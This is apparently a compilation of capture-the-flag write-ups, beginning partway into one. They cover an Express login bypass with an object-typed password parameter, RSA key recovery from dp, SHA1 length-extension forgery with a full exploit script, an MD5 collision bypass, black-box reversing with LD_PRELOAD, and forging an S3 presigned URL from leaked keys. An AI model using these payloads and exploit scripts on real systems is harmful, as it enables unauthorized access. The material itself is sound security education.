nocache(res);
if (req.method == 'POST' && req.csrf !== req.body.csrf) { return res.render('index', {error: 'Invalid CSRF token'});}
next();}
/* disable cache on specifc endpoints */const nocache = (res) =>a {res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');res.setHeader('Pragma', 'no-cache');res.setHeader('Expires', '0');}
/* auth middleware */const auth = (req, res, next) => {if (!req.session || !req.session.username) { return res.render('index', {error:"You must be logged in to access that"});}next()}
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`app.get('/logout', (req, res) => {req.session = null;res.redirect('/');});
app.get('/', csrf, (req, res) => {res.render('index');});
app.get('/about', (req, res) => {res.render('about');
});app.get('/me', auth, (req, res) => {res.render('profile');});
app.get('/flag', csrf, auth, (req, res) => {res.render('premium')});
app.get('/login', (req, res) => {res.render('login');});
app.post('/login', (req, res) => {const u = req.body['username'];const p = req.body['password'];
const con = DBCon(); // mysql.createConnection(...).connect()
const sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) { if(err) { res.render('login', {error: `Unknown error: ${err}`}); } else if(qResult.length) { const username = qResult[0]['username']; let flag; if(username.toLowerCase() == targetUser) { flag = flagValue } else{ flag = "<span>Only Michelle's account has the flag</span>"; } req.session.username = username req.session.flag = flag res.redirect('/me'); } else { res.render('login', {error: "Invalid username or password"}) }});});```
## Quest
The `const targetUser = "michelle"` in the source hinted we were to somehow bypass the login to be authenticated as `michelle`. My first guess was sql injection but there was a prepared query used:
```javascriptapp.post('/login', (req, res) => {const u = req.body['username'];const p = req.body['password'];
const con = DBCon(); // mysql.createConnection(...).connect()
const sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) { if(err) { res.render('login', {error: `Unknown error: ${err}`}); } else if(qResult.length) { const username = qResult[0]['username']; let flag; if(username.toLowerCase() == targetUser) { flag = flagValue } else{ flag = "<span>Only Michelle's account has the flag</span>"; } req.session.username = username req.session.flag = flag res.redirect('/me'); } else { res.render('login', {error: "Invalid username or password"}) }});});```
I decided to play around with the post parameters anyways. A normal request with `username=michelle&password=michelle&csrf=` simply gave an error `Invalid username or password`. Since this app was also written in express-js, I thought of trying out the trick from "pasteurize" challenge here as well. I repeated the request with `username=michelle&password=michelle&password=extra&csrf=` which gave back a new error `Unknown error: Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'extra' order by id' at line 1`. This confirmed similar behavior.
I then tried requesting with `username=michelle&password[0]=&csrf=` but it again gave the same old error `Invalid username or password` back. I repeated with `username=michelle&password[r]=&csrf=` and got back `Unknown error: Error: ER_BAD_FIELD_ERROR: Unknown column 'r' in 'where clause'`. Bingo! I was then able to login by simply replacing `r` with `id`(or any existing column). The password parameter `password[id]=` was being parsed as an object(something like `{id:null}`) which somehow bypassed the password check in the prepared query.
## Solution
I simply sent a post request via burp repeater to `/login` route with the body `username=michelle&password[id]=&csrf=`. This gave a 302/redirect response(unlike other requests which gave a 200/no-redirect). The response also (re)set the `session` cookie `Set-Cookie: session=eyJjc3JmIjoiYjU3OWM2MWYtNjhmMi00YTIzLWFkYzgtNzAxODE3YTU1YWIzIiwidXNlcm5hbWUiOiJtaWNoZWxsZSIsImZsYWciOiJDVEZ7YS1wcmVtaXVtLWVmZm9ydC1kZXNlcnZlcy1hLXByZW1pdW0tZmxhZ30ifQ==; path=/; httponly`. I was thus able to extract the flag from the base-64-decoded cookie: `CTF{a-premium-effort-deserves-a-premium-flag}`. |
# One Part! (Crypto)## RSA notations: * public key: n = p * q* public exponent: e* private key: d* cipher/encrypted text: m
## A extremly brief explanation of how RSA works: ### To Encrypt a message: (message ^ e) % n### To Decrypt a message: let cipher be the encrypted message, so cipher = (message) ^ e % n (cipher ^ d) % n = (message ^ ed) % n
Essentially we want ed = 1 % phi(n), where phi is Euler's totient function. So we can write ed = 1 + phi(n) * h, where h is an arbitrary integer. Thus we can prove that message % n = (message ^ ed) % n:
(message ^ ed) % n = (message) ^ (1 + phi(n) * h) % n = (message * message ^ (phi(n) * h) % n = (message * 1 ^ h) % n = message % nSince n, e, and m are all displayed publicly, this means that RSA hinges on the fact that one cannot factor n or figure out phi(n) easily (otherwise they can easily figure out d with ed = 1 % phi(n)!). ## Actual SolutionNow, onto the ctf problem! Downloading the file and opening it, we are given the values of dp, e, n and cipher.
e = 65537 dp = 15863941351022675271470498055440018518890999065008090553947887331349060559165417151482111730533900341104699951315612031296744594701865438849657867331942686064408344200992596897731186704102476529429339278690748746609131178367030814132224462991833270965841136411444101247903371020388961422615207080090040311385 Note: dp = d % (p - 1)
n = 13795029341892417374839569348195219432273811499483782737330171543244685968744999323208547919665299783906957825270449006773866123362810477840346497089695409735324208705537006191240439897433032270300293091365930830592120936636584926755229275335158742925495154248094930986582540466282129158682944188080860981812852232204308214285109566958749409476615914322197257558630214751391486659657892675174292657801181344004269336582824495524735592639617122904261904725149320803824393890508587709714045126033113995823573370380507690572913971259051956543607099582177007672826620386223089090352147939487203095545319421169070202568081 cipher = 4577483075923691025614837387199959169275891010490317043142964745465946594734541383793196135840379923558282553847958293921035008363297701769706082343316794998794846094470932254663483885231325059503550992175528744843034602900645069686396280989390227810555558579302943585247037825841710062260608576583049065083988456565702297252837653658501925749752005065311426953256044460166446107914200467201439311812471408454665833883066991637851573154466515181854296188872448618848136386704796559645721088729635821840733708277778529467678390494522595775876496533057623112322654282130317608735511663306372475467872142100508022014379
We have to decrpyt cipher by cracking this rsa using the information of n, e, and dp. I followed this youtube video on how to attack this rsawith the given information: https://www.youtube.com/watch?v=kYgHBbyF78E, sadly the video is not in english but I'll provide a brief explanation on how it works.
### More boring (but interesting?) math:
We start with: ed = 1 % phi(n) -> ed = 1 + k * phi(n), where k is some arbitrary integer ed = 1 + k * phi(n) ed % (p - 1) = (1 + k * phi(n)) % (p - 1) ed % (p - 1) = (1 + k * (p-1) * (k-1)) % (p - 1) //Note: For a product of prime numbers: phi(p * q) = (p - 1) * (q - 1) [e % (p - 1)] * [d % (p - 1)] = (1 + 0) % (p - 1) = 1 % (p - 1) [e % (p - 1)] * dp = 1 % (p - 1) e * dp = 1 % (p - 1) e * dp = 1 + k1 * (p - 1) //where k1 is some arbitrary integer
Having all of this, we can brute force k1 to figure out p and simply verify if p is right by doing n % p == 0 as p * q = n. Something is missing though... oh right, we need to figure out the bounds of k1 to make the brute force faster. We could just start testing k1 from 0...all the way up, but we can do better than that.
### Last piece of boring math:
Given this: e * dp = 1 + k1 * (p - 1) and dp = d % (p - 1), we know d < p - 1. Assuming dp = p - 1 e * (p - 1) > 1 + k1 * (p - 1) e * (p - 1) - 1 > k1 * (p - 1) [e * (p - 1) - 1] / (p - 1) > k1 e - 1 / (p - 1) > k1 e > k1 # and very very roughly becomesGreat! Now we know k1 < e and we can brute force k1 to find p!
dp = 15863941351022675271470498055440018518890999065008090553947887331349060559165417151482111730533900341104699951315612031296744594701865438849657867331942686064408344200992596897731186704102476529429339278690748746609131178367030814132224462991833270965841136411444101247903371020388961422615207080090040311385
n = 13795029341892417374839569348195219432273811499483782737330171543244685968744999323208547919665299783906957825270449006773866123362810477840346497089695409735324208705537006191240439897433032270300293091365930830592120936636584926755229275335158742925495154248094930986582540466282129158682944188080860981812852232204308214285109566958749409476615914322197257558630214751391486659657892675174292657801181344004269336582824495524735592639617122904261904725149320803824393890508587709714045126033113995823573370380507690572913971259051956543607099582177007672826620386223089090352147939487203095545319421169070202568081 m = 4577483075923691025614837387199959169275891010490317043142964745465946594734541383793196135840379923558282553847958293921035008363297701769706082343316794998794846094470932254663483885231325059503550992175528744843034602900645069686396280989390227810555558579302943585247037825841710062260608576583049065083988456565702297252837653658501925749752005065311426953256044460166446107914200467201439311812471408454665833883066991637851573154466515181854296188872448618848136386704796559645721088729635821840733708277778529467678390494522595775876496533057623112322654282130317608735511663306372475467872142100508022014379
```pythonfor k in range(1,65537): p = (65537 * dp - 1 + k) // k if (n % p == 0): print ("K is " + str(k)) print ("P is " + str(p)) print ("Q is " + str(n // p)) # simply getting q along with p, because why not?```
Now we have p and q:
p = 144039224760594772688606543510580838691127653882437687812979037411280601533114982523785419296758136139509382198582885244540696938622354567177892442689599309587576843156061488346717758801158770339319840441612025575855171797816583328592905878511468146202317893737435863602638296836136237843437631810454554154509 q = 95772726941712640001723837214303342002655355883327084521146440778536040744156583801926753814805595606410443413875301543467626805737472254844755121382615457766647100894815371282833364196117624639846104685189532693331432093753023513388892151349214843110728202212644881166427749140369961129200252767068764047509
Our next step is to find d, so let's figure out phi(n) first:print ( (p-1) * (q-1)) Then using this very convenient website: https://www.dcode.fr/modular-inverse, we can find the inverse mod of e % phi(n) such that ed % phi(n) = 1 % phi(n) ```pythoninverse = 5141062249513715946153800780632620342918589072789293217213972409054552544373832544517533216197038038392717669780512482131389996444959078242406928069925701319492171955140391522572844409339829106761285357332827175586034785791414777165108561893066773535747648616132422820945297592939480332814627292211833752228378560999887798792315294172477699708982744635470448446106713526842510162267181744091394628348249394415336809068773772442831176518573694241613311822362134944149830336638587817606293872623820094954358712702694944464748725461699328762569180235802278317135900918040617602766699607353178525136810867902283307196801ans = pow (m,inverse,n) # decrypting the messageprint (p * q == n) # double checking p and q are rightprint(long_to_bytes(ans).decode())# FwordCTF{i_knew_it_its_not_secure_as_i_thought}```Voila! we now have the flag! |
# authy (Crypto, 150 points)
> Check out this new storage application that your government has started! It's> supposed to be pretty secure since everything is authenticated...>> curl crypto.chal.csaw.io:5003
This challenge provides you with a remote server and a `handout.py` file forwhat is running on it. It's a flask app with two endpoints, `/new` to createa note and `/view` to view the note. The goal of this challenge is to become anadmin so that the server will return the flag to you when you view the `/view`endpoint:
```pythonencode = base64.b64decode(info["id"]).decode('unicode-escape').encode('ISO-8859-1')hasher = hashlib.sha1()hasher.update(SECRET + encode)gen_checksum = hasher.hexdigest()
if checksum != gen_checksum: return ">:(\n>:(\n>:(\n"
try: entrynum = int(note_dict["entrynum"]) if 0 <= entrynum <= 10:
if (note_dict["admin"] not in [True, "True"]): return ">:(\n" if (note_dict["access_sensitive"] not in [True, "True"]): return ">:(\n"
if (entrynum == 7): return "\nAuthor: admin\nNote: You disobeyed our rules, but here's the note: " + FLAG + "\n\n" else: return "Hmmmmm...."```
So we need to provide it an `id` that produces a valid SHA1 hash and ensure thatthe data has `admin=True, access_sensitive=True, entrynum=7`. When you createa note, it automatically sets these to not those values and looks like so:
```pythonif "admin" in payload.keys(): return ">:(\n>:(\n"if "access_sensitive" in payload.keys(): return ">:(\n>:(\n"
info = {"admin": "False", "access_sensitive": "False" }info.update(payload)info["entrynum"] = 783
infostr = ""for pos, (key, val) in enumerate(info.items()): infostr += "{}={}".format(key, val) if pos != (len(info) - 1): infostr += "&"
infostr = infostr.encode()
identifier = base64.b64encode(infostr).decode()
hasher = hashlib.sha1()hasher.update(SECRET + infostr)```
So the default string looks like this`admin=False&access_sensitive=False&author=tpurp¬e=note&entrynum=783` andcreate the integrity hash by prefixing the secret. The SHA2 family offunctions, which includes SHA1, are vulnerable to length-extension attacks. Thismeans that we can use the data we know and the hash provided by the server, andcreate a new hash that is valid without knowing the secret!
Knowing this, the exploit happens like so:1. Create a note and retrieve the id and integrity hash2. Extend the id and hash with the content `&admin=True&access_sensitive=True&entrynum=7`, because the parsing of this happens in order, the trailing attributes override the default and allow us to become admin.3. Submit the new id and hash to the server to get the flag.
The extension and encoding were the tricky parts of getting the solution. Thehash extension requires knowing the secret length which was not provided, and itputs non-utf-8 characters into the output which will fail on the server sidesince they run `python3` which defaults to utf-8 and causes a 500. To handlethis the solution escapes the unicode characters first and on the server they will undo this with the following lines:
```python# This is the one that fails without the escaping!identifier = base64.b64decode(info["id"]).decode()checksum = info["integrity"]
params = identifier.replace('&', ' ').split(" ")note_dict = { param.split("=")[0]: param.split("=")[1] for param in params }
# Here when they use it for computing the checksum they undo it for us. How# nice of them :)encode = base64.b64decode(info["id"]).decode('unicode-escape').encode('ISO-8859-1')hasher = hashlib.sha1()hasher.update(SECRET + encode)```
Once all of this is in place, we can run our exploit script and see thefollowing output:
```sh$ python3 exploit.pyCreated note ID: admin=False&access_sensitive=False&author=tpurp¬e=note&entrynum=783 Hash: 141b1b343e56c4180cefac70416a82d53f3fc679Forged hash ID: b'admin=False&access_sensitive=False&author=tpurp¬e=note&entrynum=783\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x98&admin=True&access_sensitive=True&entrynum=7' Hash: acd50f67cc9ee7f42aa6c58371bd732f48c3c58d
Author: adminNote: You disobeyed our rules, but here's the note: flag{h4ck_th3_h4sh}```
## Exploit Script
```pythonimport requestsimport base64import hashlibfrom hashpumpy import hashpump
URL = "http://crypto.chal.csaw.io:5003"
def exploit(): # Create the note to get the initial hash data = {'author': 'tpurp', 'note': 'note'} res = requests.post(URL+"/new", data=data) id_b64, integrity = res.text[19:-1].split(':') id_txt = base64.b64decode(id_b64).decode() print("Created note") print("\tID: {}".format(id_txt)) print("\tHash: {}".format(integrity))
# The initial exploit looped to brute force secret length with a for loop. # Just hard code it for the writeup. sec_len = 13 id_suffix = b"&admin=True&access_sensitive=True&entrynum=7" (forgedHsh, id_txt_ext) = hashpump(integrity, id_txt, id_suffix, sec_len) print("Forged hash") print("\tID: {}".format(id_txt_ext)) print("\tHash: {}".format(forgedHsh))
# We have to escape the unicode chars because python3 will fail by default # when decoding since it deafults to utf-8. escaped = bytes(id_txt_ext.decode('unicode_escape'), 'unicode_escape') data = {'id': base64.b64encode(escaped).decode(), 'integrity': forgedHsh} res = requests.post(URL+"/view", data=data) print(res.text)
exploit()``` |
ghidra and IDA didn't like the PLT of this binary, idk why. Rather than static analyzing first, I choose to do this blackbox. The binary read from flag.txt then output some numbers, see syscall trace below.```$ strace ./znfl...openat(AT_FDCWD, "flag.txt", O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=43, ...}) = 0...```
Running the binary couple of times with same flag.txt content, you'll notice that the output doesn't stay the same every run, but somewhere if you have run the binary fast enough, (like really fast, 2 times in a second) you'll notice that the output is the same. Here's an example```$ ./znfl1224429843 1224429840 1224429855 1224429840 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 ...$ ./znfl1224429843 1224429840 1224429855 1224429840 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 1224429855 1224429855 1224429852 1224429847 ...```
We could guess It's using something random as a key. To make things easier, I created a `LD_PRELOAD` lib to patch `rand()` nad make it not "random".```C// gcc -shared -fPIC -o libunrandom.so unrandom.cint rand() { return 0;}```After this the output is not changed anymore after every run.```$ LD_PRELOAD=./libunrandom.so ./znfl4 7 8 7 0 8 8 11 0 8 8 11 0 8 8 ...$ LD_PRELOAD=./libunrandom.so ./znfl4 7 8 7 0 8 8 11 0 8 8 11 0 8 8 ...```
Now, on to how the numbers are generated. I still didn't bother to do static analysis. At this point, I started to try out some different input from flag.txt content.```$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > flag.txt && LD_PRELOAD=./libunrandom.so ./znfl0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 ```You'll notice that the number is repeated every 4 number. From that Information, we could change our first four character from input to something else```$ echo "BBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > flag.txt && LD_PRELOAD=./libunrandom.so ./znfl12 13 1 7 12 13 1 7 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 ```And to our surprise, It became another repeated number `12 13 1 7 12 13 1 7 ...`. Because of that, we could try to lower our input guess to 2 character patern.```$ echo "CCBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > flag.txt && LD_PRELOAD=./libunrandom.so ./znfl7 3 6 15 12 13 1 7 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 $ echo "CBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > flag.txt && LD_PRELOAD=./libunrandom.so ./znfl6 8 6 7 12 13 1 7 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 ```From this, we could guess that every 2 character is mapped to 4 number at output. Try changing the input some more if you need to make sure It's the behaviour of the program.
Since every 2 character of input is perfectly mapped to 4 number output, we could use dictionary to recover the flag. There's still a problem though, we still didn't know what's the key used for the output.txt. To get the key, we could start from the flag format, we know that flag format is `FwordCTF{...}` with that we could get the different from our `Fw` output and output.txt.```$ echo "FworAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > flag.txt && LD_PRELOAD=./libunrandom.so ./znfl6 7 10 9 4 9 10 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 0 8 8 11 $ cat output.txt1155306822 1155306823 1155306826 1155306825 1155306820 1155306825 1155306826 1155306827 1155306821 1155306819 1155306831 1155306823 1155306821 1155306831 1155306816 1155306823 1155306818 1155306820 1155306829 1155306816 1155306823 1155306818 1155306828 1155306822 1155306824 1155306816 1155306826 1155306826 1155306819 1155306821 1155306819 1155306830 1155306819 1155306819 1155306825 1155306826 1155306828 1155306816 1155306826 1155306826 1155306825 1155306821 1155306822 1155306823 1155306821 1155306818 1155306825 1155306819 1155306816 1155306828 1155306822 1155306821 1155306820 1155306824 1155306829 1155306827 1155306816 1155306831 1155306830 1155306825 1155306820 1155306830 1155306818 1155306829 1155306831 1155306829 1155306830 1155306830 1155306827 1155306822 1155306822 1155306828 1155306831 1155306829 1155306816 1155306831 1155306819 1155306817 1155306818 1155306831 1155306821 1155306830 1155306820 1155306825```Since `6 7 10 9` has `0 +1 +4 +3` pattern, and the output.txt doesn't have the same addition/subtraction pattern, we could guess that xor is used in this program. Just xor the first number from both output, `1155306822 ^ 6 = 1155306816`, and we got `1155306816` as key to translate output.txt to our patched program output.
From here on, you'll just need to get the dictionary for every 2 character of input, then recover the flag using our dictionary.```pyfrom pwn import *
def conn(level="info"): return process("./znfl", env={"LD_PRELOAD": "./libunrandom.so"}, level=level)
dic = {}
p = log.progress("get dict")for first in range(0x21, 0x7F): for second in range(0x21, 0x7F): with open("flag.txt", "wb") as f: pload = bytes([first, second]) + b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" f.write(pload) r = conn("warn") a = int(r.recvuntil(" ", 1)) b = int(r.recvuntil(" ", 1)) c = int(r.recvuntil(" ", 1)) d = int(r.recvuntil(" ", 1)) r.close() # print(f"{a} {b} {c} {d} = {chr(first)}{chr(second)}") p.status(f"{first:02x}{second:02x}") dic[(a,b,c,d)] = (first, second)p.success("done")
with open("output.txt") as f: item = f.read().split()
data = []for c in item: data.append(int(c))
for pos in range(0, len(data), 4): key = (data[pos], data[pos+1], data[pos+2], data[pos+3]) if key in dic: print(f"{chr(dic[key][0])}{chr(dic[key][1])}", end="") else: print(key, "not found")```
Run the script, and we will get the flag at the end.```$ python solve.py[+] get dict: doneFwordCTF{n0t_4_bad_id3a_4ft3r_All_semah!!}``` |
In this challenge, the user must send a base64 encoded "magic word" that will allow them to get the flag. Two files are provided:
- **door.c**, the source code of the binary checking that the magic word is given.- **gatekeeper.py**, a Python script checking that only previously authenticated users can access the door, with a system of hash storage.
### The door
The code of the door is the following:
```c#define MAGIC_WORD "sp3akfr1end4nd3nt3r"int main() { char input[255]; char flag[255];
scanf("%254s", input); printf("You said: %s\n", input);
if (strcmp(input, MAGIC_WORD) == 0) { int fd = open("./flag", O_RDONLY); if (fd == -1) { printf("Something went wrong! Thats a bug, please report!\n"); return 1; }
read(fd, flag, 254); printf("Flag: %s\n", flag); } else { printf("Nope :/\n"); } return 0;}```
The magic word is now known, **sp3akfr1end4nd3nt3r**.
Plus, the comparison is done with the function `strcmp`. Thus, any given input starting with **sp3akfr1end4nd3nt3r\0...** will match the comparison. This allows the user to give the magic word, followed by some garbage, without caring about the door check.
### The gate keeper
The gate keeper is composed of an infinite loop as main function, in addition to two functions, `generateSecretHash` (generating a weird hash with the user's input) and `passToGate` (transmitting the input to the door).
#### The main function
Its code is as follows:
```python# Two ways to get to the C program :# 1. The input hash is in the goodHashes list# 2. The magic word is not in the inputwhile True: try: currentInput = input("Give me your input:")
bytesInput = base64.b64decode(currentInput) print("Doing magic, stand by") hashed = generateSecretHash(bytesInput)
if hashed in goodHashes: print(passToGate(bytesInput)) else: if b"sp3akfr1end4nd3nt3r" in bytesInput: print("Everybody knows the magic words. I can't hear it anymore! Go away! *smash*") exit(0) else: goodHashes[hashed] = bytesInput print(passToGate(bytesInput))```
It takes the base64 encoded user's input and generates a strange hash with the `generateSecretHash` function.
If the hash has already been computed, the input is directly transfered to the gate. Otherwise, it checks that the input does not contain the magic word. If so, the hash is added to the list of previous hashes and the input is transfered to the door.
The aim is quite clear now and is done in two steps:
1. Add a first hash to the list with an input without the magic word in it2. Use a collision attack to generate another input with the magic word in it, and send it then.
#### The `generateSecretHash` function
Its code is the following:
```python# Actually, finding a collision on MD5 would be sufficient to get same hashesdef generateSecretHash(byteInput): md5 = hashlib.md5() sha1 = hashlib.sha1() sha256 = hashlib.sha384() blake2b = hashlib.blake2b() md5.update(byteInput) # Here is the only location where the input is used sha1.update(md5.digest()) md5.update(sha1.digest()) #then it performs lots of cryptograpic operations for i in range(0, 2938): sha256.update(md5.digest()) for k in range(-8222, 1827, 2): sha1.update(sha256.digest()) sha256.update(sha1.digest()) for j in range(20, 384): blake2b.update(sha256.digest()) return blake2b.hexdigest()```
It performs a lot of cryptographic operations, which makes it quite unpredictable for a given entry.
However, a weakness can be highlighted: the input is used in the first operation, which is an MD5 computation. It means that, if one can find an MD5 collision satisfying our requirements (one input starting with **sp3akfr1end4nd3nt3r\x00** and one not), for these two inputs, the first MD5 operation will return the same result and, thus, the secret hash wil also be the same.
### The MD5 collision
By doing some research on the internet, the program named *HashClash* immediatly seemed to be the solution to perform such an attack.
However, I wasted a lot of time trying to use the Chosen Prefix Collision attack of the program, which would have let me chose two prefixes matching my desires to generate two files with the same MD5 digest. The big inconvenient of this method being the time of execution, even with a good GPU and 8 cores, the program ran for several hours without getting any results.
I then came across a presentation of Ange Albertini and Marc Stevens for the Pass-The-Salt 2019 conference (available [here](https://2019.pass-the-salt.org/files/slides/01-KILL_MD5.pdf)) and the corresponding [Github Repository](https://github.com/corkami/collisions) introducing, in particular, the UniColl attack, an *Identical prefix* attack, in which, for a given prefix, two small collision files are created with a few differences on the first 64-bytes block. Especially, with a bit of luck, one byte of the prefix can be changed for one of the files.
That is what happened when I ran the program `script/poc_no.sh` of the *HashClash* repository on the prefix **sp3akfr1end4nd3nt3r\x00**. The generated files are [collision1.bin](https://github.com/dspiricate/writeups/blob/main/ALLES/Doors%20of%20Durin/collision1.bin?raw=true) and [collision2.bin](https://github.com/dspiricate/writeups/blob/main/ALLES/Doors%20of%20Durin/collision2.bin?raw=true).
### The attack
The execution of the attack is shown in the original writeup.
|
We're told to:`nc secretarray.fword.wtf 1337`
**###### Secret Array Challenge Prompt:**> I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.> > [!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]>> [!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"> > [ ] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.>> [ ] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.>> [ ] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.> > START:
So an example input we could provide: 0 1
Which could give us back the sum:731986113164683230602132487650
Let it be known the array and its values change per netcat session, so it's time to program
```#!/usr/bin/env python3
import socket
host = "secretarray.fword.wtf"port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))send = lambda x: s.send("{}\n".format(x).encode())def get_response(): resp = s.recv(1024) if not resp: raise ConnectionError("Could not connect properly..") try: return int(resp.decode()) except: return resp.decode()
get_response()
#Initial setup, we'll do indices (0 + 1), (1 + 2), and (0 + 2) for a linear equation set:values = []index = 0a = indexb = index + 1c = index + 2row1 = "{} {}".format(a, b) #a + b = xrow2 = "{} {}".format(b, c) #b + c = yrow3 = "{} {}".format(a, c) #a + c = zsend(row1) #0 1x = get_response()get_response()send(row2) #1 2y = get_response()get_response()send(row3) #0 2z = get_response()get_response()
#Just gonna wolfram it (linear system of equations) :lprint("Plug this into wolfram's linear system of equations:")print("a + b = {}".format(x))print("b + c = {}".format(y))print("a + c = {}".format(z))a = input("What does wolfram say A is?\n")values.append(int(a))b = input("What does wolfram say B is?\n")values.append(int(b))c = input("What does wolfram say C is?\n")values.append(int(c))
index = 3#I know that was fun but hey now that we have the value of a,#n = sum - a, right? I'd have iterated for B and C but 1337 attemptsprint("Iterating..")while index < 1337: if index % 100 == 0: percentage = round((index / 1337) * 100, 2) print("{}% complete..".format(percentage)) row = "0 {}".format(index) send(row) x = get_response() get_response() n = int(x - values[0]) values.append(n) index += 1
done_string = "DONE {}".format(' '.join(map(str, values)))send(done_string)result = get_response()print(result)res2 = get_response()print(res2)s.close()```
 |
We get a letter:```Hey Fellow Coworker,
Heard you were coming into the Sacramento office today. I have some sensitive information for you to read out about company stored at ad586b62e3b5921bd86fe2efa4919208 once you are settled in. Make sure you're a valid user!Don't read it all yet since they might be watching. Be sure to read it once you are back in Columbus.
Act quickly! All of this stuff will disappear a week from 19:53:23 on September 9th 2020.
- Totally Loyal Coworker```
The first step is to find out what the mysterious hex string is. There are a lot of hints in the task about cloud stuff, and that something is stored at this location. So im thinking S3 buckets or something similar. We quickly found the S3 bucket ad586b62e3b5921bd86fe2efa4919208 on amazonaws and had to have a valid account to list the files in it. It consists of many folders with random names. But one file contains an AWS access key id, another one a secret string, a third one a folder path The last interesting file contains a sha256 hmac signature:
- '.sorry/.for/.nothing/'- 'super-top-secret-dont-look'- 'AKIAQHTF3NZUTQBCUQCK' - '3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b'
With all of these values we can craft a pre-signed url to access the new bucket. Let's try to access `.sorry/.for/.nothing/flag.txt`
in this bucket.
I crafted the url using the following script. The date used is the date mentioned in the letter, and expiry time is set to one week.
Solve script:
```python#!/usr/bin/env python3import datetimeimport requestsimport urllib.parseimport hashlibimport hmacimport logging
logger = logging.getLogger(__name__)
def generate_presigned_s3_get(bucket, object_key, region, expires_in, access_key, signature): METHOD = 'GET' SERVICE = 's3' ENCODING = 'utf8' host = bucket + '.s3.' + region + '.amazonaws.com' endpoint = 'https://' + host t = datetime.datetime(2020, 9, 9, 19, 53, 23) amz_date = t.strftime('%Y%m%dT%H%M%SZ') datestamp = t.strftime('%Y%m%d') canonical_uri = '/' + object_key canonical_headers = 'host:' + host + '\n' signed_headers = 'host' algorithm = 'AWS4-HMAC-SHA256' credential_scope = datestamp + '/' + region + '/' + SERVICE + '/' + 'aws4_request' canonical_querystring = '?X-Amz-Algorithm=AWS4-HMAC-SHA256' canonical_querystring += '&X-Amz-Credential=' + urllib.parse.quote_plus(access_key + '/' + credential_scope) canonical_querystring += '&X-Amz-Date=' + amz_date canonical_querystring += '&X-Amz-Expires=' + str(expires_in) canonical_querystring += '&X-Amz-SignedHeaders=' + signed_headers canonical_request = METHOD + '\n' + canonical_uri + '\n' + canonical_querystring[1:] + '\n' + canonical_headers + '\n' + signed_headers + '\nUNSIGNED-PAYLOAD' string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode(ENCODING)).hexdigest()
canonical_querystring += '&X-Amz-Signature=' + signature url = endpoint + canonical_uri + canonical_querystring logger.info('presigned url: %s' % url) return url
